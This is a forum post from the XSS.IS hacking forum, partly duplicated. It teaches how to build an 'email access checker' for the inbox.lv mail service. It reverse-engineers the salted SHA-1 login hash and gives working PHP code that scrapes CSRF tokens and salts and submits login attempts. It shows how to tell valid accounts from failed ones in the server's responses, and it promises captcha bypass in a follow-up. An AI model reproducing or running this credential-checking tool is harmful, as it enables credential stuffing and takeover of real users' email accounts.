D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Hello everyone! I have recently discovered the need for an email access checker, but since there was no public solution for the email service I needed, I decided to create one myself. Keep in mind that this was my first time writing any checker, and I have learned quite a lot while doing it. I will try to explain the whole process step by step so you can learn how to recreate it and possibly apply the information learned in your own projects.
Our target email service today is inbox.lv / lt, which is the largest email service used in Latvia/Lithuania.
Step 1: Understanding the Authentication Process
For this, I will be using Burp Suite Community Edition. While not necessary, it will make things easier. I am running Debian 12, by the way.
Installing Burp Suite:
Now that Burp Suite is available in Applications > Other, let's run it.
Go to the "Proxy" tab and click "Open browser."
But where is our password? If we look carefully, the "pass" parameter has no value, but we have a "passhash" parameter which contains an SHA-1 hash, as well as a "salt" parameter, which is most likely related to the "passhash." So, we can't simply change the values we are sending in our request, as we don't know how our password got converted to the passhash yet.
Let's turn off intercept for now and open Developer Tools (F12), click on "Sources," and perform our login process once more. Since we saw the passhash before the request was sent to the server, we know it gets generated client-side, so let's look at the .js files.
Now that we've figured out how passhash gets generated, we have another problem – we don't know yet where the salt comes from.
We can see
Since the only place where we entered the username was on the login page, let's go back to it and check the source using inspect element.
Now, let's implement the passhash generation ourselves so we can verify that it is the correct way it gets generated. You can use any programming language, but for this checker, I will be using PHP, since I had problems with Python in later stages of developing the checker.
PHP: Скопировать в буфер обмена
This is how I implemented the passhash generation. Now, let's verify that it is correct. Refresh the page, grab our salt value, turn on intercept, and make another request. Now, let's run our passhash generator and check the results.
As we can see, our passhash is equal to the one that gets sent in request.
Step 2: Retrieve Values Needed for the Proper Request
What now? Can we just write a script that sends a request with a changed passhash and username? Well, almost. Looking ahead, we will have to find a way to retrieve a valid CSRF token, cookies, as well as the salt itself since a new one gets generated after the request.
Open our terminal and run
PHP: Скопировать в буфер обмена
Step 3: Using Retrieved Values to Send the Request
Now that we have the needed values for our request, let's see how we can use them properly. For that, we can intercept the request using Burp Suite once more, then by right-clicking, select "Copy as curl command (bash)". Install curl with
The request worked, but since the credentials are wrong, the authorization failed. Now, let's convert the curl command to PHP code. I'll use curlconverter for that. (https://imgur.com/9daUFKK, limit of images in 1 post = 10)
After testing, I found out that we can omit all headers except User-Agent, and the only value needed in the cookie is the csrf_double_submit (
Now, putting all the code together and refactoring a bit, I got this:
PHP: Скопировать в буфер обмена
Let's create a valid user and test it. (https://imgur.com/a/b5buT27, limit of images in 1 post = 10)
As we can see, the login was successful. There are 3 types of responses we can get:
Спойлер: Response types
1. failed - Response data: <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&ts=1694822826'" />
<title>Redirecting to https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826</title>
</head>
<body>
Redirecting to <a href="https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826">https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826</a>.
</body>
</html>
2. logged in, no captcha needed - Response data: <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586'" />
<title>Redirecting to https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586</title>
</head>
<body>
Redirecting to <a href="https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586">https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586</a>.
</body>
</html>
3. captcha needed, but most likely valid (if we are using good proxy) - Response data: <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='/login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131'" />
<title>Redirecting to /login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131</title>
</head>
<body>
Redirecting to <a href="/login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131">/login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131</a>.
</body>
Thanks for reading part 1! In the second part, we will dive into how to bypass captcha and add other advanced functionality to our email access checker. Stay tuned!
Author - xanthopsia
For XSS.IS
Our target email service today is inbox.lv / lt, which is the largest email service used in Latvia/Lithuania.
Step 1: Understanding the Authentication Process
For this, I will be using Burp Suite Community Edition. While not necessary, it will make things easier. I am running Debian 12, by the way.
Installing Burp Suite:
- Visit the download page and download Burp Suite.
2. Open the terminal (CTRL+ALT+T), navigate to the Downloads folder, and run the .sh file you just downloaded.
3. After pressing "Next" everywhere you're asked, the installation will be finished.
Now that Burp Suite is available in Applications > Other, let's run it.
Press "Next" to start a temporary project and "Start Burp" to run Burp with default settings.
Go to the "Proxy" tab and click "Open browser."
Browse to our target's page, and enable intercept by clicking on "Intercept is off." Now, enter your username and password, and press login.
Our login request will get intercepted by Burp Suite, and we can analyze it now.
As we can see, we are sending a POST request, and our login is passed as the "imapuser" parameter's value.
But where is our password? If we look carefully, the "pass" parameter has no value, but we have a "passhash" parameter which contains an SHA-1 hash, as well as a "salt" parameter, which is most likely related to the "passhash." So, we can't simply change the values we are sending in our request, as we don't know how our password got converted to the passhash yet.
Let's turn off intercept for now and open Developer Tools (F12), click on "Sources," and perform our login process once more. Since we saw the passhash before the request was sent to the server, we know it gets generated client-side, so let's look at the .js files.
If we go to login > web/assets/login/src/js > pages/login > index.js, we can see the setupSalt function on line 56. As we can see, the passhash gets generated by adding salt to the SHA-1 of the password and running SHA-1 on the result once more. As we already saw before, "pass" gets set to ' '.
Now that we've figured out how passhash gets generated, we have another problem – we don't know yet where the salt comes from.
We can see
let $salt = $('input[name=salt]', $form)
on line 58, but that doesn't give much information. But if we look at line 60, we can see that the username gets obtained similarly to salt. userName = $('input[name=imapuser]', $form).val().toLowerCase().trim();
Since the only place where we entered the username was on the login page, let's go back to it and check the source using inspect element.
And what do we see there? Multiple hidden inputs, and one of them is the salt! It gets generated together with HTML.
Now, let's implement the passhash generation ourselves so we can verify that it is the correct way it gets generated. You can use any programming language, but for this checker, I will be using PHP, since I had problems with Python in later stages of developing the checker.
PHP: Скопировать в буфер обмена
Код:
function genPassHash($salt, $password) {
// Calculate the SHA-1 hash of the password
$password_hash = sha1($password);
// Concatenate the salt and password hash
$salted_password_hash = $salt . $password_hash;
// Calculate the SHA-1 hash of the salted password hash
$passhash = sha1($salted_password_hash);
return $passhash;
}
(https://imgur.com/ZYe1IGS, limit of images in 1 post = 10)
As we can see, our passhash is equal to the one that gets sent in request.
Step 2: Retrieve Values Needed for the Proper Request
What now? Can we just write a script that sends a request with a changed passhash and username? Well, almost. Looking ahead, we will have to find a way to retrieve a valid CSRF token, cookies, as well as the salt itself since a new one gets generated after the request.
Open our terminal and run
sudo apt-get install php-xml
, which will be needed for our script. Our code for retrieving salt and token will look like this:PHP: Скопировать в буфер обмена
Код:
function scrapeSaltAndToken() {
// Replace with the URL of the page you want to scrape
$url = 'https://www.inbox.lv';
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Send an HTTP GET request to the URL
$response = curl_exec($ch);
// Check if the request was successful
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
exit;
}
// Create a DOMDocument object to parse the HTML content
$dom = new DOMDocument();
@$dom->loadHTML($response); // Suppress warnings about poorly formed HTML
// Create a DOMXPath object to query the DOM
$xpath = new DOMXPath($dom);
// Find the "salt" and "_token" input fields by their name attributes
$saltInput = $xpath->query('//input[@name="salt"]')->item(0);
$tokenInput = $xpath->query('//input[@name="_token"]')->item(0);
// Check if the "salt" and "_token" input fields were found
if ($saltInput && $tokenInput) {
// Get the values of the "salt" and "_token" fields
$salt = $saltInput->getAttribute('value');
$token = $tokenInput->getAttribute('value');
return [$salt, $token];
} else {
echo 'Salt or token input field not found on the page.' . PHP_EOL;
exit;
}
}
Now that we have the needed values for our request, let's see how we can use them properly. For that, we can intercept the request using Burp Suite once more, then by right-clicking, select "Copy as curl command (bash)". Install curl with
sudo apt-get install curl
, and let's try running it. (https://imgur.com/5uMp2od, image limit in 1 post = 10)The request worked, but since the credentials are wrong, the authorization failed. Now, let's convert the curl command to PHP code. I'll use curlconverter for that. (https://imgur.com/9daUFKK, limit of images in 1 post = 10)
After testing, I found out that we can omit all headers except User-Agent, and the only value needed in the cookie is the csrf_double_submit (
curl_setopt($ch, CURLOPT_COOKIE, "csrf_double_submit=$token;");
)Now, putting all the code together and refactoring a bit, I got this:
PHP: Скопировать в буфер обмена
Код:
<?php
// Function to scrape salt and token
function scrapeSaltAndToken() {
// Replace with the URL of the page you want to scrape
$url = 'https://www.inbox.lv';
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Send an HTTP GET request to the URL
$response = curl_exec($ch);
// Check if the request was successful
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
exit;
}
// Create a DOMDocument object to parse the HTML content
$dom = new DOMDocument();
@$dom->loadHTML($response); // Suppress warnings about poorly formed HTML
// Create a DOMXPath object to query the DOM
$xpath = new DOMXPath($dom);
// Find the "salt" and "_token" input fields by their name attributes
$saltInput = $xpath->query('//input[@name="salt"]')->item(0);
$tokenInput = $xpath->query('//input[@name="_token"]')->item(0);
// Check if the "salt" and "_token" input fields were found
if ($saltInput && $tokenInput) {
// Get the values of the "salt" and "_token" fields
$salt = $saltInput->getAttribute('value');
$token = $tokenInput->getAttribute('value');
return [$salt, $token];
} else {
echo 'Salt or token input field not found on the page.' . PHP_EOL;
exit;
}
}
// Function to generate password hash
function genPassHash($salt, $password) {
// Calculate the SHA-1 hash of the password
$password_hash = sha1($password);
// Concatenate the salt and password hash
$salted_password_hash = $salt . $password_hash;
// Calculate the SHA-1 hash of the salted password hash
$passhash = sha1($salted_password_hash);
return $passhash;
}
// Scrape salt and token
list($salt, $token) = scrapeSaltAndToken();
$password = 'aa';
$username = 'aa';
// Generate password hash
$passhash = genPassHash($salt, $password);
// Initialize cURL session for login
$ch = curl_init();
// Set cURL options for login request
curl_setopt($ch, CURLOPT_URL, 'https://login.inbox.lv/login/login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36',
]);
curl_setopt($ch, CURLOPT_COOKIE, "csrf_double_submit=$token;");
curl_setopt($ch, CURLOPT_POSTFIELDS, "_token=$token&mailplus=0&language=lv&passhash=$passhash&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&redirect_vars=&salt=$salt&imapuser=$username&pass=");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Execute the login request
$response = curl_exec($ch);
// Check for errors
if ($response === false) {
echo 'cURL error: ' . curl_error($ch);
} else {
echo 'Response data: ' . $response;
}
// Close cURL session
curl_close($ch);
Let's create a valid user and test it. (https://imgur.com/a/b5buT27, limit of images in 1 post = 10)
As we can see, the login was successful. There are 3 types of responses we can get:
Спойлер: Response types
1. failed - Response data: <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&ts=1694822826'" />
<title>Redirecting to https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826</title>
</head>
<body>
Redirecting to <a href="https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826">https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826</a>.
</body>
</html>
2. logged in, no captcha needed - Response data: <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586'" />
<title>Redirecting to https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586</title>
</head>
<body>
Redirecting to <a href="https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586">https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586</a>.
</body>
</html>
3. captcha needed, but most likely valid (if we are using good proxy) - Response data: <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='/login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131'" />
<title>Redirecting to /login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131</title>
</head>
<body>
Redirecting to <a href="/login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131">/login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131</a>.
</body>
Thanks for reading part 1! In the second part, we will dive into how to bypass captcha and add other advanced functionality to our email access checker. Stay tuned!
Author - xanthopsia
For XSS.IS